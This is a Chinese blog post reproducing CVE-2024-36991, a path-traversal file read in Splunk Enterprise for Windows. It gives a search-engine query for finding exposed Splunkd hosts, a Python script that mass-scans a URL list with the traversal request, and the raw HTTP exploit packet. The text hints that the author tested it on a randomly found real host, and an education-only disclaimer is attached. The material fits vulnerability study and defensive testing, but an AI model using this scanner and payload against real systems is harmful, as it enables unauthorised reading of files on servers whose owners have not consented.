当前位置: 首页 > news >正文

【漏洞复现】Splunk Enterprise for Windows 任意文件读取漏洞 CVE-2024-36991

  声明:本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动,将与本文档的作者或发布者无关。

一、漏洞描述

Splunk Enterprise 是一款强大的机器数据管理和分析平台,广泛应用于企业中,用于实时收集、索引、搜索、分析和可视化来自各种数据源的日志和数据。Splunk Enterprise for Windows 存在任意文件读取漏洞 (CVE-2024-36991) ,允许未经身份认证的攻击者通过构造特定的请求来读取系统上的任何文件,可能导致重要信息的泄露。

受影响的版本包括:

  • 9.2.0 至 9.2.1(不包括9.2.2)
  • 9.1.0 至 9.1.4(不包括9.1.5)
  • 9.0.0 至 9.0.9(不包括9.0.10)

二、资产收集

1.使用网络空间测绘引擎搜索

鹰图检索:app.name="Splunkd"

2.使用poc批量扫描

import requests  # 导入requests库,用于发送HTTP请求
import argparse  # 导入argparse库,用于处理命令行参数
from urllib3.exceptions import InsecureRequestWarning  # 导入InsecureRequestWarning异常类RED = '\033[91m'  # 定义红色字体的ANSI转义码
RESET = '\033[0m'  # 定义重置字体颜色的ANSI转义码
# 忽略证书验证警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)def check_file_read(url):headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15'}file_read_url = f"{url.rstrip('/')}/en-US/modules/messaging/C:%2e%2e/C:%2e%2e/C:%2e%2e/C:%2e%2e/C:%2e%2e/C:%2e%2e/C:%2e%2e/C:%2e%2e/C:%2e%2e/C:%2e%2e/windows/win.ini"try:response = requests.get(file_read_url, headers=headers, verify=False, timeout=30)  # 发送GET请求,不验证SSL证书,设置超时时间为30秒if response.status_code == 200 and "fonts" in response.text:  # 检查响应状态码和响应内容,判断是否存在漏洞print(f"{RED}URL [{url}] 存在Splunk Enterprise for Windows 任意文件读取漏洞{RESET}")else:print(f"URL [{url}] 可能不存在漏洞")except requests.RequestException as e:  # 捕获请求异常print(f"URL [{url}] 请求失败: {e}")def main():parser = argparse.ArgumentParser(description='检测目标地址是否存在Splunk Enterprise for Windows 任意文件读取漏洞')  # 创建命令行参数解析器parser.add_argument('-u', '--url', help='指定目标地址')  # 添加命令行参数:指定目标地址parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')  # 添加命令行参数:指定包含目标地址的文本文件args = parser.parse_args()  # 解析命令行参数if args.url:  # 如果提供了单个URLif not args.url.startswith("http://") and not args.url.startswith("https://"):  # 确保URL以http://或https://开头args.url = "http://" + args.urlcheck_file_read(args.url)  # 调用check_file_read函数检测漏洞elif args.file:  # 如果提供了包含多个URL的文件with open(args.file, 'r') as file:  # 打开文件并读取内容urls = file.read().splitlines()  # 按行分割文件内容,得到URL列表for url in urls:  # 遍历URL列表if not url.startswith("http://") and not url.startswith("https://"):  # 确保URL以http://或https://开头url = "http://" + urlcheck_file_read(url)  # 调用check_file_read函数检测漏洞if __name__ == '__main__':main()  # 执行主函数

cmd运行:python poc.py -f url.txt

 随机寻找的幸运儿

三、漏洞复现 

1.构造数据包

GET /en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../windows/win.ini HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

2.数据包分析 

  1. GET /en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../windows/win.ini HTTP/1.1:这是请求行,表示客户端希望从服务器获取的资源路径。在这请求的资源是位于服务器上的文件win.ini,该文件位于多个C:..目录之后。

  2. Host: ip:这是请求头的一部分,指定了请求的目标服务器的IP地址或域名。在这个例子中,目标服务器的IP地址或域名是ip

  3. User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36:这是请求头的一部分,描述了发起请求的客户端的类型和版本信息。

  4. Connection: close:这是请求头的一部分,指示服务器在响应完成后关闭连接。这意味着客户端在接收到响应后不会保持连接,而是立即关闭连接。

  5. Accept-Encoding: gzip:这是请求头的一部分,告诉服务器客户端可以接受gzip压缩的内容。如果服务器支持gzip压缩,它将使用gzip压缩响应内容以减少传输的数据量。

3.结束跑路

使用yakit Web Fuzzer构造数据包发送

每篇一言:现实与理想相差了十万八千里,我马不停蹄,却也鞭长莫及。

http://www.lryc.cn/news/398068.html

相关文章:

  • FastAPI -- 第一弹
  • C++入门基础篇(1)
  • 基于html开发的在线网址导航在线工具箱源码
  • 【密码学】大整数分解问题和离散对数问题
  • 解析 pdfminer layout.py LAParams类及其应用实例
  • Redis官方可视化管理工具
  • android 固定图片大小
  • 操作系统——内存管理(面试准备)
  • vue3实现vuedraggable实现拖拽到垃圾桶图标位置进行删除
  • MySQL向自增列插入0失败问题
  • Python:Python基础知识(注释、命名、数据类型、运算符)
  • Protobuf: 大数据开发中的高效数据传输利器
  • MySQL 面试相关问题
  • java org.aeonbits.owner库介绍
  • YOLOv10改进 | 添加注意力机制篇 | 添加LSKAttention大核注意力机制助力极限涨点
  • 学习笔记——动态路由——IS-IS中间系统到中间系统(特性之路由撤销)
  • 智能无人机控制:STM32微控制器与机器学习集成(内附资料)
  • 力扣 454四数相加
  • Java面试题系列 - 第9天
  • 数据结构【顺序表】
  • 【JavaScript 报错】未捕获的类型错误:Uncaught TypeError
  • html+css+js随机验证码
  • WPS打开PDF文件的目录
  • 常见 Web漏洞分析与防范研究
  • 暗黑魅力:Xcode全面拥抱应用暗黑模式开发指南
  • 【游戏引擎之路】登神长阶(七)——x86汇编学习:凡做难事,必有所得
  • 在 Windows 平台搭建 MQTT 服务
  • jdevelope安装
  • 排序(一)——冒泡排序、直接插入排序、希尔排序(BubbleSOrt,InsertSort,ShellSort)
  • synchronized关键字详解(全面分析)